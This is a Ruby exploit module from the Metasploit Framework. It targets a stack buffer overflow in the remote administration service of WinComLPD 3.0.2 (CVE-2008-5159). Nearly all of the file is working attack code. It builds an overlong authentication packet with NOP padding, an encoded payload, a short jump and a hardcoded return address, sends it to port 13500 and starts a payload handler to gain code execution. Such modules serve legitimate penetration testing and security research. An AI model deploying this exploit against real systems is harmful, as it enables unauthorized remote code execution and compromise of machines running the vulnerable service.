metasploit-framework/modules/exploits/windows/lpd/wincomlpd_admin.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
By sending an overly long authentication packet to the remote
adminstration service, an attacker may be able to execute arbitrary
code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2008-5159'],
['OSVDB', '42861'],
['BID', '27614'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
],
'Privileged' => true,
'DisclosureDate' => 'Feb 4 2008',
'DefaultTarget' => 0))
register_options([Opt::RPORT(13500)], self)
end
def exploit
connect
# 'net start lpdservice' after you migrate!
sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
sploit << make_nops(872 - payload.encoded.length)
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
print_status("Trying target #{target.name}...")
sock.puts(sploit)
select(nil,nil,nil,5)
handler
disconnect
end
end